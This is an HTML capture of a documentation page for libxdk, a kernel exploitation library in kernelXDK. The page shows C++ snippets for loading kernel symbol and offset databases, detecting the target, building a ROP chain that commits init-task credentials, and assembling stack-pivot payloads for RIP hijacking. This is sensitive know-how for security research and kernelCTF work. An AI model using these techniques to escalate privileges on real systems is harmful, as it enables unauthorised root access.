PageSourceSearch

https://xdk.dev/libxdk/how_to_get_started.html

html xdk.dev collected 2026-09-28 07:13:14 UTC 27,126 bytes, 279 lines download raw bytes

1
2
3<!DOCTYPE html>
4<html class="writer-html5" lang="en" data-content_root="../">
5<head>
6  <meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" />
7
8  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
9  <title>How to get started &mdash; kernelXDK 0.0.1 documentation</title>
10      <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=80d5e7a1" />
11      <link rel="stylesheet" type="text/css" href="../_static/css/theme.css?v=e59714d7" />
12      <link rel="stylesheet" type="text/css" href="../_static/collapsible-lists/css/tree_view.css?v=a885cde7" />
13
14  
15      
15<script src="../_static/jquery.js?v=5d32c60e"></script>
15
16      
16<script src="../_static/_sphinx_javascript_frameworks_compat.js?v=2cd50e6c"></script>
16
17      
17<script src="../_static/documentation_options.js?v=d45e8c67"></script>
17
18      
18<script src="../_static/doctools.js?v=9bcbadda"></script>
18
19      
19<script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
19
20      
20<script src="../_static/collapsible-lists/js/CollapsibleLists.compressed.js?v=73120307"></script>
20
21      
21<script src="../_static/collapsible-lists/js/apply-collapsible-lists.js?v=660e4f45"></script>
21
22    
22<script src="../_static/js/theme.js"></script>
22
23    <link rel="index" title="Index" href="../genindex.html" />
24    <link rel="search" title="Search" href="../search.html" />
25    <link rel="next" title="How to port an existing exploit" href="sample_exploit.html" />
26    <link rel="prev" title="What is libxdk?" href="README.html" /> 
27</head>
28
29<body class="wy-body-for-nav"> 
30  <div class="wy-grid-for-nav">
31    <nav data-toggle="wy-nav-shift" class="wy-nav-side">
32      <div class="wy-side-scroll">
33        <div class="wy-side-nav-search" >
34
35          
36          
37          <a href="../index.html" class="icon icon-home">
38            kernelXDK
39          </a>
40<div role="search">
41  <form id="rtd-search-form" class="wy-form" action="../search.html" method="get">
42    <input type="text" name="q" placeholder="Search docs" aria-label="Search docs" />
43    <input type="hidden" name="check_keywords" value="yes" />
44    <input type="hidden" name="area" value="default" />
45  </form>
46</div>
47        </div><div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="Navigation menu">
48              <p class="caption" role="heading"><span class="caption-text">About</span></p>
49<ul>
50<li class="toctree-l1"><a class="reference internal" href="../about/introduction.html">Introduction</a></li>
51<li class="toctree-l1"><a class="reference internal" href="../about/introduction.html#what-is-kernelxdk">What is kernelXDK?</a></li>
52<li class="toctree-l1"><a class="reference internal" href="../about/kxdb_database.html">KXDB Database</a></li>
53</ul>
54<p class="caption" role="heading"><span class="caption-text">libxdk</span></p>
55<ul class="current">
56<li class="toctree-l1"><a class="reference internal" href="README.html">What is libxdk?</a></li>
57<li class="toctree-l1"><a class="reference internal" href="README.html#installation">Installation</a></li>
58<li class="toctree-l1 current"><a class="current reference internal" href="#">How to get started</a><ul>
59<li class="toctree-l2"><a class="reference internal" href="#initialize-the-target-database">Initialize the Target Database</a></li>
60<li class="toctree-l2"><a class="reference internal" href="#building-the-payload">Building the Payload</a></li>
61<li class="toctree-l2"><a class="reference internal" href="#assembling-the-final-payload-with-payloadbuilder">Assembling the Final Payload with PayloadBuilder</a></li>
62</ul>
63</li>
64<li class="toctree-l1"><a class="reference internal" href="sample_exploit.html">How to port an existing exploit</a></li>
65<li class="toctree-l1"><a class="reference internal" href="api.html">API Reference</a></li>
66</ul>
67<p class="caption" role="heading"><span class="caption-text">Command Line Tools</span></p>
68<ul>
69<li class="toctree-l1"><a class="reference internal" href="../commandline_tools/image_db.html">Kernel Image DB</a></li>
70<li class="toctree-l1"><a class="reference internal" href="../commandline_tools/image_runner.html">Kernel Image Runner</a></li>
71<li class="toctree-l1"><a class="reference internal" href="../commandline_tools/kxdb_tool.html">KXDB Tool</a></li>
72<li class="toctree-l1"><a class="reference internal" href="../commandline_tools/rop_generator.html">Kernel ROP Generator</a></li>
73</ul>
74
75        </div>
76      </div>
77    </nav>
78
79    <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap"><nav class="wy-nav-top" aria-label="Mobile navigation menu" >
80          <i data-toggle="wy-nav-top" class="fa fa-bars"></i>
81          <a href="../index.html">kernelXDK</a>
82      </nav>
83
84      <div class="wy-nav-content">
85        <div class="rst-content">
86          <div role="navigation" aria-label="Page navigation">
87  <ul class="wy-breadcrumbs">
88      <li><a href="../index.html" class="icon icon-home" aria-label="Home"></a></li>
89      <li class="breadcrumb-item active">How to get started</li>
90      <li class="wy-breadcrumbs-aside">
91            <a href="../_sources/libxdk/how_to_get_started.md.txt" rel="nofollow"> View page source</a>
92      </li>
93  </ul>
94  <hr/>
95</div>
96          <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article">
97           <div itemprop="articleBody">
98             
99  <section id="how-to-get-started">
100<h1>How to get started<a class="headerlink" href="#how-to-get-started" title="Link to this heading"></a></h1>
101<section id="initialize-the-target-database">
102<h2>Initialize the Target Database<a class="headerlink" href="#initialize-the-target-database" title="Link to this heading"></a></h2>
103<p>The target database contains all of the information needed to customize the exploit for the current target.</p>
104<p>This section describes how to use the prebuilt database, extend it if necessary and how to make it replaceable with an updated version.</p>
105<ol class="arabic">
106<li><p>Add the necessary includes to the exploit code.</p>
107<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;xdk/core.h&gt;</span>
108<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;xdk/postrip.h&gt;</span>
109</pre></div>
110</div>
111</li>
112<li><p>Include the <strong>target_db</strong>. <code class="docutils literal notranslate"><span class="pre">INCBIN</span></code> creates a read-only section in the exploit binary with the current target database content.</p>
113<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">INCBIN</span><span class="p">(</span><span class="n">target_db</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;target_db.kxdb&quot;</span><span class="p">);</span>
114</pre></div>
115</div>
116</li>
117<li><p>Initialize <strong>TargetDb</strong>. This constructor uses the <code class="docutils literal notranslate"><span class="pre">target_db.kxdb</span></code> file if exists, otherwise it fallbacks to the compile-time <code class="docutils literal notranslate"><span class="pre">INCBIN</span></code>’d database. This way, the exploit can be customized for running on other targets by supplying another <code class="docutils literal notranslate"><span class="pre">target_db.kxdb</span></code> after compilation time.</p>
118<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">TargetDb</span><span class="w"> </span><span class="n">kxdb</span><span class="p">(</span><span class="s">&quot;target_db.kxdb&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">target_db</span><span class="p">);</span>
119</pre></div>
120</div>
121</li>
122<li><p>Already available in database structure and symbol offsets are documented in <a class="reference external" href="https://github.com/google/kernel-research/blob/main/kxdb_tool/config.py">kxdb_tool/config.py</a>.
123They are added for all the supported targets.</p></li>
124<li><p>
124If the needed symbol is not in database, use <code class="docutils literal notranslate"><span class="pre">Target</span></code> object to add it. One object per target needed. For example:</p>
125<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">Target</span><span class="w"> </span><span class="n">st</span><span class="p">(</span><span class="s">&quot;kernelctf&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;cos-105-17412.294.34&quot;</span><span class="p">);</span>
126
127<span class="n">st</span><span class="p">.</span><span class="n">AddSymbol</span><span class="p">(</span><span class="s">&quot;nft_last_ops&quot;</span><span class="p">,</span><span class="w"> </span><span class="mh">0x1acaf20</span><span class="p">);</span>
128
129<span class="n">kxdb</span><span class="p">.</span><span class="n">AddTarget</span><span class="p">(</span><span class="n">st</span><span class="p">);</span>
130</pre></div>
131</div>
132</li>
133<li><p>Similar approach could be taken for adding structure and fields information:</p>
134<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">st</span><span class="p">.</span><span class="n">AddStruct</span><span class="p">(</span><span class="s">&quot;nft_expr_ops&quot;</span><span class="p">,</span><span class="w"> </span><span class="mi">128</span><span class="p">,</span><span class="w"> </span><span class="p">{</span>
135<span class="w">    </span><span class="p">{</span><span class="s">&quot;dump&quot;</span><span class="p">,</span><span class="w"> </span><span class="mi">64</span><span class="p">,</span><span class="w"> </span><span class="mi">8</span><span class="p">},</span>
136<span class="w">    </span><span class="p">{</span><span class="s">&quot;type&quot;</span><span class="p">,</span><span class="w"> </span><span class="mi">120</span><span class="p">,</span><span class="w"> </span><span class="mi">8</span><span class="p">}</span><span class="w"> </span><span class="p">});</span>
137</pre></div>
138</div>
139<blockquote>
140<div><p><strong>Note</strong>
141<code class="docutils literal notranslate"><span class="pre">128</span></code> in the example above is a size of the <code class="docutils literal notranslate"><span class="pre">nft_expr_ops</span></code> structure. <code class="docutils literal notranslate"><span class="pre">{&quot;dump&quot;,</span> <span class="pre">64,</span> <span class="pre">8}</span></code> field is located at the offset of 64 and as is a pointer, size would be 8 for 64-bit architecture.</p>
142</div></blockquote>
143</li>
144<li><p>Detect which target the exploit is being run on.</p>
145<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="k">auto</span><span class="w"> </span><span class="n">target</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">kxdb</span><span class="p">.</span><span class="n">AutoDetectTarget</span><span class="p">();</span>
146<span class="n">printf</span><span class="p">(</span><span class="s">&quot;[+] Running on target: %s %s</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">target</span><span class="p">.</span><span class="n">GetDistro</span><span class="p">().</span><span class="n">c_str</span><span class="p">(),</span><span class="w"> </span><span class="n">target</span><span class="p">.</span><span class="n">GetReleaseName</span><span class="p">().</span><span class="n">c_str</span><span class="p">());</span>
147</pre></div>
148</div>
149</li>
150<li><p>Access pre-defined or added (via <code class="docutils literal notranslate"><span class="pre">Target</span></code>) structures and symbols using following calls:</p>
151<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="k">auto</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">target</span><span class="p">.</span><span class="n">GetStructSize</span><span class="p">(</span><span class="s">&quot;nft_expr_ops&quot;</span><span class="p">);</span><span class="w"> </span><span class="c1">// not used, just showing API usage</span>
152<span class="k">auto</span><span class="w"> </span><span class="n">offset</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">target</span><span class="p">.</span><span class="n">GetFieldOffset</span><span class="p">(</span><span class="s">&quot;nft_expr&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;ops&quot;</span><span class="p">);</span><span class="w"> </span><span class="c1">// get the offset of ops field in nft_expr structure</span>
153
154<span class="o">*</span><span class="p">(</span><span class="kt">
154uint64_t</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">buffer</span><span class="p">[</span><span class="n">offset</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">kernel_base</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">target</span><span class="p">.</span><span class="n">GetSymbolOffset</span><span class="p">(</span><span class="s">&quot;nft_last_ops&quot;</span><span class="p">);</span><span class="w"> </span><span class="c1">// the address of nft_last_ops</span>
155</pre></div>
156</div>
157</li>
158</ol>
159</section>
160<section id="building-the-payload">
161<h2>Building the Payload<a class="headerlink" href="#building-the-payload" title="Link to this heading"></a></h2>
162<p>After leaking a kernel address and calculating the KASLR base, you can begin constructing the exploit payload.</p>
163<ol class="arabic">
164<li><p>Initialize a <code class="docutils literal notranslate"><span class="pre">Payload</span></code> object. This will serve as the buffer for our ROP chain and other necessary data.</p>
165<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">Payload</span><span class="w"> </span><span class="nf">payload</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
166</pre></div>
167</div>
168</li>
169<li><p>To set constants or to reserve areas that must not be altered by the <code class="docutils literal notranslate"><span class="pre">PayloadBuilder</span></code>, set their values explicitly beforehand:</p>
170<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">payload</span><span class="p">.</span><span class="n">SetU64</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mh">0x100</span><span class="p">);</span><span class="w"> </span><span class="c1">// Sets 8 bytes at offset 0 to 0x100.</span>
171<span class="n">payload</span><span class="p">.</span><span class="n">SetU32</span><span class="p">(</span><span class="mi">24</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span><span class="w">    </span><span class="c1">// Sets 4 bytes at offset 24 to 0 (reserving the area).</span>
172</pre></div>
173</div>
174</li>
175<li><p>Create the <code class="docutils literal notranslate"><span class="pre">RopChain</span></code>. This object is initialized with target-specific information and the KASLR base. You can then add predefined actions to it. The <code class="docutils literal notranslate"><span class="pre">Ret2Usr</span></code> utility helps in gracefully returning execution to a user-mode function after the kernel operations are complete.</p>
176<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">RopChain</span><span class="w"> </span><span class="nf">rop</span><span class="p">(</span><span class="n">target</span><span class="p">,</span><span class="w"> </span><span class="n">kaslr_base</span><span class="p">);</span>
177<span class="n">rop</span><span class="p">.</span><span class="n">AddRopAction</span><span class="p">(</span><span class="n">RopActionId</span><span class="o">::</span><span class="n">COMMIT_INIT_TASK_CREDS</span><span class="p">);</span>
178<span class="n">RopUtils</span><span class="o">::</span><span class="n">Ret2Usr</span><span class="p">(</span><span class="n">rop</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">win</span><span class="p">);</span>
179</pre></div>
180</div>
181<blockquote>
182<div><p><strong>Note</strong>
183Available ROP actions could be found in <a class="reference external" href="https://github.com/google/kernel-research/blob/main/kxdb_tool/config.py">kxdb_tool/config.py</a>.</p>
184</div></blockquote>
185</li>
186</ol>
187</section>
188<section id="assembling-the-final-payload-with-payloadbuilder">
189<h2>Assembling the Final Payload with PayloadBuilder<a class="headerlink" href="#assembling-the-final-payload-with-payloadbuilder" title="Link to this heading"></a></h2>
190<p>The <code class="docutils literal notranslate"><span class="pre">PayloadBuilder</span></code> automates the process of finding a suitable pivot gadget and combining it with your payload and ROP chain.</p>
191<ol class="arabic">
192<li><p>Initialize the <code class="docutils literal notranslate"><span class="pre">PayloadBuilder</span></code> with the target’s available pivot gadgets and the KASLR base.</p>
193<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">PayloadBuilder</span><span class="w"> </span><span class="nf">builder</span><span class="p">(</span><span class="n">target</span><span class="p">.</span><span class="n">pivots</span><span class="p">,</span><span class="w"> </span><span class="n">kaslr_base</span><span class="p">);</span>
194</pre></div>
195</div>
196</li>
197<li><p>Add the <code class="docutils literal notranslate"><span class="pre">payload</span></code> object to the builder. You need to specify which register will point to your payload buffer (e.g., <code class="docutils literal notranslate"><span class="pre">Register::RSI</span></code>) and the offset within that buffer where the instruction pointer (<code class="docutils literal notranslate"><span class="pre">rip</span></code>) will be hijacked.</p>
198<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="kt">
198uint64_t</span><span class="w"> </span><span class="n">rip_off</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fake_ops_offs</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">release_offs</span><span class="p">;</span><span class="w"> </span><span class="c1">// Calculated offset for RIP control</span>
199<span class="n">builder</span><span class="p">.</span><span class="n">AddPayload</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span><span class="w"> </span><span class="n">Register</span><span class="o">::</span><span class="n">RSI</span><span class="p">,</span><span class="w"> </span><span class="n">rip_off</span><span class="p">);</span>
200</pre></div>
201</div>
202<p>In the situation when multiple registers contain a pointer to the payload, it’s worth informing <code class="docutils literal notranslate"><span class="pre">PayloadBuilder</span></code> about it:</p>
203<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="kt">uint64_t</span><span class="w"> </span><span class="n">rip_off</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fake_ops_offs</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">release_offs</span><span class="p">;</span><span class="w"> </span><span class="c1">// Calculated offset for RIP control</span>
204<span class="n">builder</span><span class="p">.</span><span class="n">AddPayload</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span><span class="w"> </span><span class="p">{</span><span class="n">Register</span><span class="o">::</span><span class="n">RSI</span><span class="p">,</span><span class="w"> </span><span class="n">Register</span><span class="o">::</span><span class="n">RAX</span><span class="p">},</span><span class="w"> </span><span class="n">rip_off</span><span class="p">);</span>
205</pre></div>
206</div>
207<p><code class="docutils literal notranslate"><span class="pre">PayloadBuilder</span></code> is capable of handling multiple buffers (and use them if needed to accomodate ROP chain actions). To inform <code class="docutils literal notranslate"><span class="pre">PayloadBuilder</span></code> about such a setup use:</p>
208<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">Payload</span><span class="w"> </span><span class="nf">payload1</span><span class="p">(</span><span class="n">payload_size_1</span><span class="p">);</span>
209<span class="n">Payload</span><span class="w"> </span><span class="nf">payload2</span><span class="p">(</span><span class="n">payload_size_2</span><span class="p">);</span>
210<span class="n">PayloadBuilder</span><span class="w"> </span><span class="nf">builder</span><span class="p">(</span><span class="n">target</span><span class="p">.</span><span class="n">pivots</span><span class="p">,</span><span class="w"> </span><span class="n">kernel_base</span><span class="p">);</span><span class="w"> </span><span class="c1">// create builder</span>
211
212<span class="n">builder</span><span class="p">.</span><span class="n">AddPayload</span><span class="p">(</span><span class="n">payload1</span><span class="p">,</span><span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">nullopt</span><span class="p">,</span><span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">nullopt</span><span class="p">);</span>
213<span class="n">builder</span><span class="p">.</span><span class="n">AddPayload</span><span class="p">(</span><span class="n">payload2</span><span class="p">,</span><span class="w"> </span><span class="n">Register</span><span class="o">::</span><span class="n">RSI</span><span class="p">,</span><span class="w"> </span><span class="n">rip_off</span><span class="p">);</span><span class="w"> </span><span class="c1">// add payload, with register, and rip_offset</span>
214</pre></div>
215</div>
216</li>
217<li><p>Add the <code class="docutils literal notranslate"><span class="pre">RopChain</span></code> to the builder.</p>
218<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">builder</span><span class="p">.</span><span class="n">AddRopChain</span><span class="p">(</span><span class="n">rop</span><span class="p">);</span>
219</pre></div>
220</div>
221</li>
222<li><p>Build the final payload. The <code class="docutils literal notranslate"><span class="pre">Build()</span></code> method will find an appropriate pivot gadget that uses the specified register (<code class="docutils literal notranslate"><span class="pre">RSI</span></code> in this case) to redirect execution to your ROP chain. The necessary gadgets and the ROP chain itself will be written into the <code class="docutils literal notranslate"><span class="pre">payload</span></code> object you provided earlier.</p>
223<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">builder</span><span class="p">.</span><span class="n">Build</span><span class="p">())</span>
224<span class="w">    </span><span class="n">exit</span><span class="p">(</span><span class="mi">-1</span><span class="p">);</span>
225</pre></div>
226</div>
227<p>Once built, the <code class="docutils literal notranslate"><span class="pre">payload</span></code>
227 object contains the complete, ready-to-use exploit payload.</p>
228</li>
229<li><p>The contents of the final payload can be printed for inspection and debugging using the <code class="docutils literal notranslate"><span class="pre">HexDump::Print</span></code> method.</p>
230<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="n">printf</span><span class="p">(</span><span class="s">&quot;[+] Payload:</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
231<span class="n">HexDump</span><span class="o">::</span><span class="n">Print</span><span class="p">(</span><span class="n">payload</span><span class="p">.</span><span class="n">GetUsedData</span><span class="p">());</span>
232</pre></div>
233</div>
234<blockquote>
235<div><p><strong>Note:</strong>
236The <code class="docutils literal notranslate"><span class="pre">GetUsedData()</span></code> method returns only the data actually written to the payload, excluding the unused bytes at the end of the buffer.</p>
237</div></blockquote>
238</li>
239<li><p>In cases when pointer to pivot gadget should be part of some other buffer or passed as a parameter it could be obtained in the following way after building the final payload:</p>
240<div class="highlight-c++ notranslate"><div class="highlight"><pre><span></span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">some_buffer</span><span class="p">[</span><span class="n">offset</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">kernel_base</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">builder</span><span class="p">.</span><span class="n">GetStackPivot</span><span class="p">().</span><span class="n">GetGadgetOffset</span><span class="p">();</span>
241</pre></div>
242</div>
243</li>
244</ol>
245</section>
246</section>
247
248
249           </div>
250          </div>
251          <footer><div class="rst-footer-buttons" role="navigation" aria-label="Footer">
252        <a href="README.html" class="btn btn-neutral float-left" title="What is libxdk?" accesskey="p" rel="prev"><span class="fa fa-arrow-circle-left" aria-hidden="true"></span> Previous</a>
253        <a href="sample_exploit.html" class="btn btn-neutral float-right" title="How to port an existing exploit" accesskey="n" rel="next">Next <span class="fa fa-arrow-circle-right" aria-hidden="true"></span></a>
254    </div>
255
256  <hr/>
257
258  <div role="contentinfo">
259    <p>&#169; Copyright 2025, Google.</p>
260  </div>
261
262  Built with <a href="https://www.sphinx-doc.org/">Sphinx</a> using a
263    <a href="https://github.com/readthedocs/sphinx_rtd_theme">theme</a>
264    provided by <a href="https://readthedocs.org">Read the Docs</a>.
265   
266
267</footer>
268        </div>
269      </div>
270    </section>
271  </div>
272  
272<script>
273      jQuery(function () {
274          SphinxRtdTheme.Navigation.enable(true);
275      });
276  </script>
276 
277
278</body>
279</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.